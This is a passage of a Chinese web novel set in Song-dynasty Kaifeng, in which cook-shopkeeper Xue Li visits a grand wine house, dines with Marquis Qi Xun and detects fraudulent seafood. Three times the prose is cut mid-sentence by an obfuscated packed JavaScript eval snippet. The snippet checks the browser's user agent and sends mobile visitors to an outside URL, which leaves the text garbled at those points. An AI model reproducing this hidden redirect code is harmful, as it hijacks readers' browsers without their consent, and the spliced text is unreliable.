楚总管却笑道：“住与不住全凭小娘子的意思，只不过，大姐儿听闻此消息，已喜不自胜地添置了许多用具过去，便是看在大姐儿的一番心意上，小娘子也该去住住，莫教她空欢喜一场啊。” 齐悦能从何处听闻此消息？薛荔以脚趾头想也知晓，此乃齐恂今日于落苏上吃了苦，现如今还报来了。 欸...... 薛荔暗暗叹了口气，但还未忘记面前这号人物，于是打起精神，挂起笑靥来问道：“楚总管可是用过晚膳了，不如同大家伙儿一块吃些，热闹热闹？” 楚总管又瞧了几眼院中共食拨霞供的众人，好不易方忍下心底的规矩之说，摆了摆手，微微板着脸：“速战速决，完事务必将院落扫干净了。” 这些个熊孩子，还有那郭栗祥，一把年纪了也同他们一块胡闹，像什么样？ 见楚总管转身离去薛荔有些懊恼地回到席间，众人见她面上少了先前的兴致，皆好奇不已。 “阿荔，你这是怎么啦？”齐悦正吃着碗中翠绿的茼蒿，一边问她道。 “你往膳房旁舍里添物什了？”薛荔略显幽怨地瞅着她。 见她这般眼神，齐悦一噎：“这、这有何不对么？” 薛荔痛心疾首地闭了闭眼，罢了罢了，这丫头也是被齐恂那只大尾巴狼利用了。 她垂着脑袋，一副丧气模样。 齐悦却一头雾水，也还纳闷呢。 午后兄长特意前来告知她，道阿荔今后会在膳房旁舍歇息。她是女儿家，又是阿荔的知心好友，当知晓她需要何物，理当替她张罗一番。 她一听，此言甚是，当然得为自家好姊妹两肋插刀，于是乎，花了一个下午，便唤仆从将那旁舍布置得满满当当。 不过……瞧阿荔这神情，倒似是同自家兄长闹了矛盾，这可如何是好？ “怎地啦？闷闷不乐的。”一旁姜喜鱼啃着只虎皮鸭掌凑过来，见薛荔光顾着叹息，却不置一言。 “哎呀，喜鱼、喜鱼，可没说你喜欢八卦呀，合该唤你喜卦才好。”在自家兄长抱得美人归前，齐悦觉着很有必要将此事低调地进行下去。 “听听咋的了，阿荔若是有难处，说出来，大家伙儿亦好帮着一块儿商量法子。”姜喜鱼不以为意，“再说了，我唤作此名，那也是有来头的好么！” “有何来头？”众人皆好奇。 姜喜鱼搁下碗筷，清了清嗓子：“我娘年轻时从不食海鲜，可偏偏怀了我之后，突然爱上了吃鱼。早晨醒来要吃酱菜鱼片粥，午膳必得是糖醋软熘鲤鱼焙索饼，夜里还得来碗奶白鲫鱼炖豆腐。总而言之，便是清蒸、红烧、炖汤之法换着来，顿顿不离鱼。我爹灵机一动，想着，这孩子瞧着跟鱼有缘，将来怕不是要当个渔民，便与我娘一合计，取了这名字。” 众人听罢，皆欢喜地哈哈笑起来，郭栗祥笑得尤为打眼，反被姜喜鱼拎了出来：“郭厨监，你有何好笑的？我瞧你的名字亦是大有来头哩！” “那是自然，本厨监的名字正是暗藏玄机。”郭栗祥非但不恼，反而坦然骄傲地抬了抬下巴，“我出生时，我们老郭家已为庖五代，翁翁盼我将老郭家的独门手艺传承下去，做出惊为天人的膳食，于是给我取了这个有福气的名儿！” 郭栗祥——可不就是“锅里香”么！ 云冯笑得险些将自己呛着：“郭厨监，那你是不是还爱吃栗子？” “正是！本厨监非但厨艺惊人，且对板栗还颇有一番研究！”郭栗祥一本正经，娓娓道来，“谈及栗子，这其中的门道可多着呢！” “先说说产地，做糖炒栗子，必得选燕山栗，果形玲珑，滋味蜜甜，且还肉质细腻，尤宜炒制；若要煲汤，则必选罗田栗，味甘粉少，久煮不散，且能吸收汤汁精华，与禽肉同炖最佳；若制糕点，则用邢台栗，粉感足、黏性强，捣泥后压出的栗粉细腻无渣，做栗子糕可是一绝！” 见众人听得涎水都快流下来，郭栗祥更添兴致：“再说时令，正所谓‘经霜乃甘’，霜降后采收的栗子糖分最足，滋味最佳。但某用栗有三不用，虫眼不用，壳软不用，去衣不净不用。就譬如咱们面前这碟栗糕，那必得是......” “郭厨监，这下咱们都知晓你对板栗颇有钻研，也算是名副其实了！”眼见着郭栗祥欲迂谈阔论起来，云冯忙举杯相敬，糊弄过去。 齐悦咯咯笑起来，压低声音朝薛荔她们道：“郭厨监虽未饮酒，却已似酣酣了呢！” “云冯老弟，我就知你是有学问的人！”郭栗祥拍了拍云冯的肩。 云冯，云冯......这名字听着，怎么颇有些耳熟。 “云冯，你又是为何唤作这名字？”薛荔问道。 云冯饶不好意思地挠了挠头，还未答呢，姜喜鱼便抢道：“莫不是父姓加母姓？话说回来，要是没人告知我，我还真以为你唤作云冯（féng）呢！” “才不是！”云冯百般无奈道，“我名“冯”，取的是同舟共济之意。每回初次相见，我都得率先介绍一番姓名，否则他日文书念名，总有人念错。长到这般大，我都习以为常了。” 薛荔静静一想，终于明白自己为何觉着云冯这名儿怪怪的了——云冯，那不就是“云片糕”中的“云片”么？读起来多相似呀！ 相传乾隆皇帝下江南时，应汪盐商之请，至他家花园赏瑞雪纷飞。因吟诗受阻，盐商献上无名茶点解围，乾隆品尝后赞不绝口，见糕片薄如雪，遂赐名“雪片糕”。 可后来又因笔误，将“雪”写作“云”，错字反而成佳话，故定“云片糕”之名。 不过在大宋，云片糕还不叫云片糕，而是因其“薄如素绢”，唤为“素云片”，亦是一个颇为清丽的名字。 对了！ 眼下宋朝的素云片做法还较为粗糙，辅料亦很单一，她何不效仿后世云片糕的制法，再寻个有头有脸的人物为其命名呢？这样一来，珍味铺免不了大赚一笔！ 薛荔暗暗佩服自己的商业头脑。 至于，这“有头有脸”之人么......哼哼，她已有人选了！ - 宋人素来视饮酒为雅事，至盛夏时节，更是杯盏交错不绝，觞酌之人倍增。 《宋会要》中有载，“在京酒户，岁用糯米三十万石”，而一斗粮食可酿一斗酒，这便意味着，彼时京城之酒户一年便可酿造三百万斗酒。要知，当时汴京城人口不过一百三十万左右，此比对之鲜然已是惊人。 然而，纵然汴京被誉为酒城，饮酒之人数不胜数，但眼下的珍味铺不过一区区脚店，连自家酿酒的权力都无，酒水全仰赖官办酒坊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804407|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与大酒楼供应。偏生这唯一一条出路还时常断货，根本无法满足所需。酒水不足，食客自也渐少。 酒水一少，来用膳的食客便也跟着渐少起来。 为着此事，薛荔与姜喜鱼日日犯愁。 姜喜鱼道：“京中酒楼，分正店、脚店两种。所谓正店呢，便是如樊楼、会仙楼、仁和店那般的七十二家，往酒务司纳了官曲钱，便可自家起窖酿酒。而脚店，亦就是咱们这样的，则好比那‘没脚蟹’，全仰仗正店手指缝里漏点酒吃。若胆敢投机倒把，私造曲料，甚或私酿酒浆，轻则杖脊黥面，发配边塞，重则当即处死！” 薛荔侧身伏在饭桌上，耳边听着，左手“哒哒”拨算盘，右手“唰唰”在麻纸上写算：“若以寻常黄酒来算，正店自酿成本约十五文一斤，卖给脚店就是二十文，市价则抬至三十八文。依正店规模与酒水承包定额来算，一个月下来，两百贯是跑不了的。可咱们这小脚店，一月能挣得四十贯便算不错了。且不说，正店还能享官府廪给的低价酒曲，而咱们连酒水都常常购不着。” 她瞧着麻纸上的黑字价，又叹：““且长久依赖正店亦有弊端。一来正店乃官府指定，咱们既不可选，也无从议价；二来咱们是小铺子，正店总会将好酒掺着些劣酒卖给咱们，终究免不了要吃哑巴亏。” “若咱们珍味铺也能得那酿酒权就好了。”姜喜鱼忍不住道，“我听闻，每年二月官府会办买扑会，承买之人以实封投状，价高者得，咱们说不准也有机会呢？” “眼下这情形，怕是还不行。”薛荔摇了摇头，“那买扑须先交天价税款，还得以家产抵押，而且光是铺面规模这块，咱就达不了标呀。” 能自酿的店铺，如何也得是重屋多层的大铺，同寻常脚店要可一眼区分开来，还必得配备专用的酒窖与酿具，否则官府派来检查的酒务官怎会准许通过？ “规模太小了，官府看不上，是不会发放酿酒许可的。” 说到底，还是钱的事情。 她忆起宋仁宗时，白楼之所以可从普通酒楼转为正店，正是因财力雄厚。甫一拿下酿酒权，便承包三千户脚店。早听闻，白楼每年的课税便可达三十万贯。 要不说家家酒楼都惦记这酿酒权呢？ 薛荔从这令人咂舌的数字中回过神来，惊叹之余，却也燃起斗志。 “总之，无论酿不酿酒，咱们都得把钱先挣足了！”她霍然起身，拍桌而定，唬得姜喜鱼一哆嗦，“咱们的酒水或许比不上大酒楼的，但菜品上，只要肯下功夫，绝不会输半分！” “莫非你又研发出新菜了？”姜喜鱼眼里放光。 薛荔却伸出一根手指，讳莫如深地左右摆了摆：“非也，非也。” - 俗话说得好，知己知彼，方能百战不殆。 虽说她们珍味铺如今的规模还不大，但朝着正店的方向迈进，绝无错路！ 这不，薛荔正立在这新跻身正店，亦是近来大为红火、风头无两的春酲楼前，准备进去一探其菜品奥妙。 在膳食一事上，权贵富人有权贵富人的乐趣，平头百姓自也有平头百姓的乐趣。她若能取大酒楼之精华，做出滋味只优不差，而物美价廉的菜品，生意蒸蒸日上便亦是指日可待之事。 薛荔抬首望去，只见春酲楼三层高阁，琼台玉宇，云窗雾槛。门前是以彩帛搭起的齐楼之高的彩楼欢门，时令繁花层叠缀满，檐角垂下如绦的丝绸流苏，玲珑堂皇。 37. 酒楼偶相遇 屋檐处还悬着一条青白布望子，自顶垂地，上书“正店”二字，另一旁的小望子上还浓墨重彩地标注着特供的时令酒品，莫非这便是现代广告之鼻祖么？ 薛荔心中暗赞正店酒楼的气派，顺着人潮而入，成为那熙来攘往、盈门来宾中的一份子，由小厮接待着进去了。 一戴方头巾，着紫衫，脚踏丝鞋净袜的小厮迎上来，满面春风地笑：“女客万福，您是要寻个清静阁儿，还是热闹座头？” 所谓“阁儿”，便是楼上的包房；而“座头”，便是大堂的坐席。 想着一会儿要点上许多菜，恐惹人注目，薛荔觉着还是低调些的好，于是道：“楼上阁儿便好。” 小厮应下，利索地领她上楼阁，奉上浸着香片的净口茶，随后由专为食客点菜的过卖伙计取出檀木食牌，奉上给她览：“今日海货有顶好的真鲷鱼，乃今朝才到的新鲜活物。案酒里新添了笋焙鹌子、莲花鸭签两菜，皆是本店厨监的拿手好菜，小娘子看吃些甚么？” 薛荔正看得眼花，却见更热闹的来了。 几名小厮端着一道道庖凤烹龙，鱼贯而入，呈于她面前的案桌上。过卖立至一旁，手向菜品，细致地一一介绍起来： “此菜名曰‘雪夜泛舟’，乃取河豚鱼白、莼菜与羊脂相煨，鱼白如雪，莼菜若舟，而羊脂凝冻似冰河，故得此雅名；此菜乃‘蓬莱玉山’，以雪笋磨泥为山，上覆鲍鱼片，盘沿缀五色鲍壳，再将松茸与鹅肝糜填塞其中，灯盏一照，宛若仙山霞光；此菜‘玉壶冰心’，乃以蒸熟的车鳌玉柱，与蜜梨肉同置冰窖蒸熟，上桌前再淋薄荷露，清香沁脾……” 他笑道：“小娘子若不识食牌菜名为何物，只管看桌上这些，便知本店精妙了。” 眼见着过卖从长案桌的一端一路解说至另一端，薛荔瞧着这些诗情画意、又极有食欲的菜肴，向若而叹。 大宋的“看盘”习俗乃自宫廷中源起，这点她从前在翻读《东京梦华录》时便见过——皇家设宴，必是金齑玉鲙、水陆毕陈，可若等菜间，诸位大臣与使节们的桌上空空，岂不显皇家寒酸？是以为彰显排面，宫廷便以食材显扬国力。 点心有环饼、枣塔，旁侧列香圆、石榴类的鲜果；若席中有游牧民族的使臣，便会摆猪、羊、鸡、鹅、兔之类的整块带骨的熟肉，以绳索捆扎缚之。 看盘看盘，字面意思便是看菜，是绝不可动箸的，若忍不住馋虫，那就是徒惹笑话。 待御膳正菜烹好，再换下已经冷掉的样品，将菜盘一一呈上桌。作为“看盘”的菜大多直接丢弃，可宫廷食材大多珍贵稀奇，此俗虽展了皇家阔气，但亦显奢靡之风。 再后来，“看盘”的习俗从宫廷宴席发展到了酒楼食肆的餐饮之中。为吸引食客，民间酒家多会效仿宫廷，给菜取风雅喜庆之名。有的菜光瞧名字会不知为何物，但提前做好样菜，置于案前给食客们瞧，不但可以大开食欲，更可一目了然。 这点现代的餐饮业倒是学得颇好，如今许多餐馆不正是将菜肴的原食材摆在大堂保鲜柜里，供客人看菜点菜用么？ 只不过，宋人做得更直截了当，烹菜上桌，昭昭示人：“贵客请看，咱们店的成菜与样品全然相符！” 薛荔昔年只在书中读过，可如今切身体会，却又是另一番滋味。 本着今日必要“大出血”，以及吃不完打包拎着走的想法，薛荔望望那些令人垂涎欲滴的看盘，又瞧瞧手中食牌上的琳琅菜名，指尖点着的“这个、这个、这个”，便转化为过卖口中连珠不绝的唱报： “桂花鱼翅、香酥焖肉、红烧寒菌、通花软牛肠、酥烤玉蕈、螃蟹酿枨、珑缠桃条......” 大酒楼里的过卖是饶有眼力见儿的，且记性甚佳，肺活量极好，所有菜只需传唱一遍，铛头大厨便默契地接过下一棒。 菜点罢了，茶饭量酒博士便进阁子里来推销酒水。 “女客可要点甚法酒？店中名酿有眉寿酒、仙醪酒、玉醑酒，滋味煞是醉人。女客若喜口感甘甜的，可试试荔枝酒、葡萄酒，或是黄柑酒。” “黄柑酒？”前两款酒薛荔要么在宋朝喝得多，要么在现代喝得多，只是这黄柑酒，倒未曾怎么听闻过。 博士会心地解释起来：“正如明哲所言，‘洞庭四面皆水也，水气上腾，尤能辟霜’，此一带种出的柑橘自古称佳，本店的黄柑酒便是选取太湖洞庭的柑橘酿制而成。此酒色泽鲜艳、芳香超胜，故又名曰‘洞庭春色’。” “那便给我来上一壶！” - 戍时，春酲楼外。 长街灯火初上，檐头彩灯与店旗随风猎猎，往来车马喧阗，游人衣袂交错。 门前小厮手执着灯笼，笑语盈盈地招呼食客，酒楼门扉大开，楼中酒香伴肉香馥馥飘出，嘈声与丝竹笙箫杂糅，热闹非凡。 二楼眺台上，酒楼掌柜正摇扇赏景，慢啜香梨，意趣悠然。忽而听得街上喧哗，他裕如自若地往楼下堂门稍瞥了眼，瞧见来者是何人，登时魂不附体，惊跳起身，急急奔下楼去。 楼下，云冯面色冷峻，长刀半出刀鞘，白光一闪，险些擦到拦路小厮的鼻尖，嚇得后者双腿抖成竹筛，膝头一软，“扑通”倒地，毫不争气地晕了过去。 余人唯唯诺诺，不敢多言，齐恂却神色淡然，不疾不徐地大步入堂。 “侯爷屈尊驾临，小店蓬荜生辉！”春酲楼掌柜满脸堆笑，迎上来低声赔笑道，“侯爷若要照临，事先知会小人一声便是，何必如此劳神费心？小人准保将上好的雅间空出，恭候台光不是？” “预先知会，岂不失了新意？程掌柜玲珑剔透，断不会教本候败兴而归。”齐恂眼神淡淡一掠，酒楼上下铺陈与客席尽收眼底，“本候不在的这段时日，想来程掌柜是生财有道，财运亨通了。” 程掌柜忙讪笑：“侯爷此话可是折煞小人了！您若不来照拂咱们春酲楼的生意，小人哪能生财呢？” 齐恂未理，径自走上二楼的阁子间。未及东阁，便见有一阁子外行菜小厮排立一列，个个手捧佳肴，候着进阁呈菜。 一眼扫过去：螃蟹酿枨、桂花鱼翅、红烧寒菌、珑缠桃条......阵仗颇丰，还挺会吃。 程掌柜见他驻步，以为是行菜者挡了道，赶忙叱喝：“不长眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818184|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的东西，冲撞了贵客，小心你脑袋！” 行菜小厮惶恐赔罪：“小的有眼无珠，冲撞了侯爷。可、可着实是这阁子里的客人点菜甚多，小的不得已才排到外头来，还请侯爷恕罪！” 话音未落，那间阁子里又有方呈完菜的行菜者退出来，两两低声嘀咕：“你说这女客是何来头？一副瘦小身板，怎吃得下这许多菜？” 齐恂目光一转，云冯即刻会意，握刀欲上。 “欸，侯爷！使不得，使不得啊！”程掌柜的心底直捉急。 这宁武侯时不时突击检查便也罢了，可今日这间阁中只坐着一位凡胎俗骨的小娘子，非要说出有何不同寻常的，那也就是模样生得俏丽些。这人家胃口好，多点几道菜吃，有何不妥的？ 他开酒楼这么多年，偏生最是欣赏此等大快朵颐的小娘子！ 只是这宁武侯气煞人也，还非得搅黄了他生意不可！ - 阁内。 薛荔发觉，但凡自己一举杯饮酒，身旁的过卖便殷勤地为她换上“细菜”，也就是诸如??糟瓜虀、醋芹、菱白鲊之类的开胃小菜，这点人文关怀倒做得挺好。 然而，薛荔的思绪却落在另一桩事上——如樊楼、太和楼这般的豪华酒楼，饶是包厢便逾三百，算它每日接待三千贵宾，单是过卖便需四十余人才可支撑。 以过卖日薪一百文来算，一日便得花去......这还只是其中一环，还不曾算上小厮、茶饭量酒博士、铛头等一连串职人的薪俸呢。 薛荔忙下灌一口“洞庭春色”压压惊，谁料才刚咽下，阁子门口便“哐当”一声巨响，闹得人仰马翻。 她转脸望去，只见云冯提刀而入，脚边横七竖八地摔了一地行菜伙计，汤汤水水、甘旨肥浓撒了满地。 “云近卫？” “薛小娘子？！”云冯同样愕然。 他左瞧右看，目光先扫过后头满手端盘、准备上菜的行菜小厮，再定定落回到她脸上，语调难掩不可思议：“这么多菜，都是你一人点的？” 哼，关你何事？ 薛荔辨认出地上那摔成一团烂泥似的东西，竟是她心心念念点来尝的“金银夹花平截”，那蒸卷儿里头夹着的可是上好的蟹肉与蟹膏啊！ “云冯——！！！” ...... 东阁内。 云冯乖乖杵在角落，双掌捂着耳朵揉了又揉，怀疑自己的听觉是否还能恢复。 对面的薛荔气鼓鼓地坐着，没好气地瞪了他一眼，不说话。 偏是素来寡言的那位此刻开口了。 “今日怎地一人来酒楼用膳，你身边那女贼呢？”齐恂透过雕花窗，垂眸一览楼下乐舞，闲谈似的问起。 “人家不是女贼！”薛荔终是忍不住，说了自入东阁后的第一句话，“我们家喜鱼是有名字的好不好？而且，她现在还是珍味铺的二当家，我要出门，少不了她照料铺子里，哪有你这般说人家的……”最后那句，是薛荔嘀咕出来的。 也不知齐恂是听见还是未听见，许是她眼花了，竟瞧见他唇角似乎稍稍一勾，转瞬即逝。 38. 酒酿小元子 此时，外头的茶饭量酒博士进屋来，毕恭毕敬地问询齐恂今日要点何酒水。 薛荔打量起那人的穿着打扮，及神态举止，皆与方才服务自己的那位量酒博士有着天壤之隔，不禁腹诽，这当真是个见人下菜碟的世界。 “今日窖中有三绝酒水，一为凤泉，倾盏时金波潋滟，回韵绵延；二为玉髓，乃进自清风楼酿制的无上上品；三为赵州瑶波，这款更是佳品，一月只供十余坛，咱们春酲楼便……” 薛荔竖起耳朵悄悄听着。果真，这来客不同，连供应的酒水都非同一档次的。 茶饭量酒博士口若悬河，只差未将这酒描出朵花来，生怕跟前这尊大佛觉自己怠慢。 谁知齐恂却将折扇轻轻一收，不咸不淡道：“来一钵酒酿小元子。” “好嘞！小人这就......哎？”量酒博士一怔，都怀疑自己听错了，“侯爷是要......？” 齐恂的冷眼一扫过去，那人便立刻打躬作揖，连声应是，逃难似的奔出阁去了。 这边的云冯终是觉耳力好转了许多，忙上前道不是：“薛小娘子恕罪，方才我听闻有食客点了繁多菜肴，心觉蹊跷，这才贸然破门，实在是对不住。” “你莫不成以为我是奸细？”薛荔只觉心寒透骨，“这几个月做的点心都白给你吃了。” 云冯哪好意思？吃人嘴短，此刻更是红着耳根子，连声赔罪。 “话说回来。” 齐恂兀地发言，惹得薛荔止熄战火，侧脸看他：“怎么啦？” “你是头一回到春酲楼用膳？” 薛荔愣了愣，不明所以地点头：“对啊，这也有问题？” 齐恂眉梢微弯：“那便不难解释了。” 薛荔心底直冒起一股不祥预感，但又拗不过好奇，追问道：“解释什么？” 齐恂悠悠地将折扇一展，徐缓摇扇：“薛小娘子独身用膳，却点十五道菜，想来是不欲旁人小觑，故而摆出豪气。” 薛荔登时脸颊涨红。 好你个齐恂，讥笑她吃得多也就罢了，偏还绕着弯子拐着法儿挤兑人。想当初她做美食博主时，遇上的黑粉都没他能怼！ 薛荔行将于沉默中爆发，好巧不巧，方才“逃难”奔离的量酒博士端着壶觞回来了。 她在心里暗骂几声。哼，君子报仇，十年不晚！ “此酒酿小元子中所用的酒酿，乃以御米之一的‘马店糯米’酿制而成，气味清香，口感稠绵。” 量酒博士热切介绍着，见宁武侯先前从未携女眷出席，还饶有眼力见地给薛荔盛上配料最满的一份：“酒酿汤底还另添了雪梨汁与牛乳，滋味清甜不腻人，与元子共熬煮的还有燕窝、桃胶。此二物最是滋补养颜，小娘子本就仙姿玉色，只怕吃罢会更添好颜色，容光焕发呢！” 量酒博士的推销话术着实动听，薛荔好奇地尝了几口，心头的苦楚滋味渐渐被酒酿汁水的甘甜所取代。 好吃！着实是好吃！也难怪博士能吹出那样一长段话来。 畅饮了几口细嫩爽滑的燕窝与晶莹Q弹的桃胶，薛荔忽而回过神来。 不对，她的“金银夹花平截”都还不曾尝上一口呢。这主仆二人，难不成欲用一盅酒酿小元子将她打发了？ 角落里的云冯正悠哉地哼着小曲儿，忽觉一道目光紧随不舍地盯住自己，顿时浑身上下不自在，讪讪地摸了摸鼻尖。 “你害我那道菜全毁，这该如何赔？”薛荔不依。 “欸，这……”云冯简直有苦难言，他分明亦是秉公办事嘛，若不是侯爷给他使眼色，他哪会闯进薛小娘子的阁子？若要赔，也合该侯爷来赔才对。 云冯无助地将求助的目光投向齐恂。 后者夷然自若，似乎早有准备，将手中折扇往黄花梨八仙桌上轻磕了一磕，东阁的门便由外侍自两侧拉开，行菜之人端着菜碟，若鱼贯雁行。 一眨眼功夫，四四方方的八仙桌上便布满了膳。 御膳炙鸭、五味杏酪鹅、鲍参翅肚、蟹粉狮子头、海蜇花炒鳝、翠玉豆腐、细粉鸽子汤...... “虽说我的一盘菜没了，可你也不至于点这么多道做弥补罢？”薛荔见了直咂舌——馋得咂舌，亦惊得咂舌。 “依着你的吃法，咱们三人食，点四十五菜都不为过。”齐恂侃言。 薛荔悄悄舔了舔唇角，手中筷子跃跃欲试，心底却又有些顾虑。 方才她点十五菜，便已掏去不少银两，眼下齐恂这般阔绰，也不知究竟是不是好心。万一待会儿用完膳，他将账赖在她头上，那可如何是好？ 齐恂这样精明的老狐狸，又不是没算计过她，这种事，保不准他还真做得出来呢！ 齐恂斜睨一眼，见薛荔眉心微蹙，心下了然。 这只小狐狸，向来算得一清二楚，断不会让自己吃亏。 “账都结清了，你光瞧着不吃，是想让我亏本而归？” “吃！当然要吃！”薛荔笑盈盈地举筷，往左夹了一只鹅腿，往右又戳一团狮子头，双眼亮得仿佛要映出星光，“侯爷宴请，儿家自是要赏脸的。” 看她那副见食如宝的模样，齐恂唇角亦不觉漾开一丝笑意。 云冯见自家侯爷这般模样，杵在一旁直摇头叹息。 自打腹部受了刀伤后，侯爷便一直无甚胃口，今夜在春酲楼点了这么一大桌子菜肴，哪里是为自己吃？ 分明是猜出，薛小娘子此番是为试菜而来，欲让她尝到更多菜的滋味罢了。 还有那酒酿小元子。欸，云冯都不欲再谈，他们家英明神武的侯爷，何曾来酒楼点过这般闺阁小娘子喜欢的甜食？ 色令智昏，色令智昏呐！ 齐恂忽然回眸，便见云冯一怀愁绪的神情。 他微微颔首：“你也来用膳。” “多谢侯爷！” 话音未落，一道黑影窜眼而过，云冯已抄起碗筷埋头开吃，动作那叫一个干脆利落。 齐恂只以为方才他是在为肚子里的馋虫而发愁，暗自失笑。这小子，吃饭倒是比谁都快。 吃到半途，薛荔终于想起来身旁还有个东道主，不好冷落了他，忙放下筷子，用帕子擦了擦唇角：“侯爷怎地一口也不吃？” “本候不饿。” 薛荔点了点头，煞有其事：“儿家原以为侯爷只是公务繁忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16821325|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不得闲回府按时吃饭，没想到就算到了酒楼，还是不吃。如此下去，胃疾怎得痊愈？” 齐恂闻言一笑：“小娘子只知酒楼是吃食之所，却不知有多少朝廷腌臜之事藏匿于此。” “既如此，那此处定有腌臜。”薛荔尝了几口海味，高深莫测地搁下筷子。 齐恂挑眉，似笑非笑：“何以见得？” “很简单。”薛荔将鲍鱼、海参之类的菜推至他面前，“方才你不曾尝过这些菜肴，未嗅得其中海味所用的香料之浓烈。” “照理来说，海鲜之烹多以清蒸、白灼为主，其核心当在于突出食材本身的鲜甜滋味，可这几道菜却于烹煮之时添了许多茴香、肉桂等重料，以此压下食材的腥臭味。春酲楼平日用料极为讲究，凭他们往日水准，绝不该犯此等谬误。” 齐恂拨开鱼肉，低头细嗅，果然香料过浓，且隐隐夹杂着秽臭。 小狐狸的鼻子还怪灵。 为印证自己所言，薛荔特意唤来铛头大厨。 她指着莼菜鲷鱼脍，信口夸道：“此菜好生鲜美，敢问这真鲷鱼可是自登州运来的？” 那铛头本以为菜品口味不佳，来的一路上还心中惴惴，听到她前半句话，先是心底一喜，可待听罢完整的后，却又不由得神色一僵：“正是，正是，小娘子尝味的本事当真了得！” 听得铛头如是回话，薛荔冲齐恂飞快挤了个眼，又吩咐那人退下。 “又套出什么来了？”齐恂忍不住轻笑。 “要不先贤有言，‘术业有专攻’呢？”薛荔得意扬眉，“这饮食一道，还得是我这个食肆店主更为通晓。” “愿闻其详。” 薛荔毫不客气地为他科普道：“真鲷鱼当属登州海域所产最佳，其皮厚肉嫩，味胜鲈鳜。但这两月以来，登州一带大旱，江流活水锐减，鱼虾臭不可食。为保真鲷鱼口碑，当地早就停了漕运外销。登州至汴京，??漕运陆路足有一千五百余里??，纵有人铤而走险，快马加鞭，可旱情之下，鱼鳃充血，肝胆易破，恐怕还未到京中便已成一船腐肉，血本无归。故而，春酲楼断无可能买到产自登州的真鲷鱼！” 薛荔微微蹙眉思忖着，丝毫未瞧见齐恂眼底涌起的那份欣赏之意。 “春酲楼开张不过两年，甫一跃为正店，便可包揽数千户脚店酒业，势必需万贯钱财周转。而商贾借海货一项，以劣充优，从中牟利，数额庞大，却可偷避刑统，其间怎会没有官吏们的内外勾结。” 一语毕，周遭安静无声，薛荔自觉失言，不自在地顿了顿，却撞进齐恂饶有意味的目光里。 “你……这么看着我干嘛？” “我在想，侯府里头果然不养闲人，就连小厨娘都足智多谋。” 薛荔的耳尖立刻染上一层薄薄绯色，却故作淡然：“那是自然。” 一旁的云冯两颊鼓鼓，似只栗鼠：“侯爷、薛小娘子！你们别光顾着说话呀，再不吃，黄花菜都凉了。” 可齐恂是“不食烟火”的冷面仙人，光凭薛荔和云冯二人的饭量，如何能消灭这满桌佳肴？ 最后，自然是满足薛荔的心愿，将剩菜一律打包，捆载而归。 39. 煮米邪修法 薛记珍味铺近来之所以声名鹊起，除开菜式推陈出新，还有更为重要的一点——那便是，那一锅锅晶莹饱满的白米饭。 小小一碗米饭，其中却饱含着薛荔的生活小妙招。 “一开始，我将这法子传授给喜鱼时，她还死活不肯学。” 薛荔指着面前灶台上搁着的一大锅子湿漉漉的生米，给身旁凑着的三个小乞儿仔细道来窍门：“你们瞧好了，煮饭前先淘米。淘米时动作要轻柔，切不可用力搓揉。简单清洗个三回，去除掉米粒表面上的浮灰杂尘后，便往锅里倾入冰冷的井水，将它泡上半个时辰。” 三个娃娃似懂非懂地点点头。 薛荔继续往下讲：“咱们面前的这锅米已是淘过泡好了的。接下来，便是薛氏煮米独门秘招的重中之重。” 在三个小不点儿好奇而又期待的目光注视中，她自若地拿起一罐雪白的豕油，用勺匙挖出一大勺，径直丢入锅中。 三个娃娃：！！！ “煮米饭为何要放这么大一块荤油？”馍儿忍不住问道。 豆姑和糍儿虽未开口，脸上的表情却已传神地表达出“难以置信”四个大字。 薛荔忍俊不禁：“你们可莫小看这一勺油。煮饭前往锅中添一块它，待火温渐高，豕油渐渐融开，其特有的脂香会随着蒸汽包裹、浸透米粒。待到煮熟后，每一粒米都会愈加??油润、光亮、饱满，且还带着淡淡的肉香，入口软糯香甜，放凉了亦不容易发硬。而且有些食客喜食锅巴，加了豕油的米饭，只需多加焖一会儿，便可烧出金黄焦脆的豕油锅巴来！这便是其他食肆以清水煮饭绝不会达到的效果。” 馍儿仍担心：“可若每日煮饭都要放这样一大勺荤油，日日吃下肚，咱们不就成了喝油了么？” “傻娃。”薛荔失笑，“咱们开食肆的，一次煮的是百余人的米饭，一块掌心大的豕油放进去，分到你们每人碗里，怕连个芝麻粒大的都轮不上。且这油又是自家炼的，比外头买的不知干净健康多少。” 豆姑听得连连点头，眼睛里亮晶晶的：“这个我记下啦！” “这还只是秘招之一呢。”薛荔抬手轻柔地摸摸豆姑的发顶，柔声道。 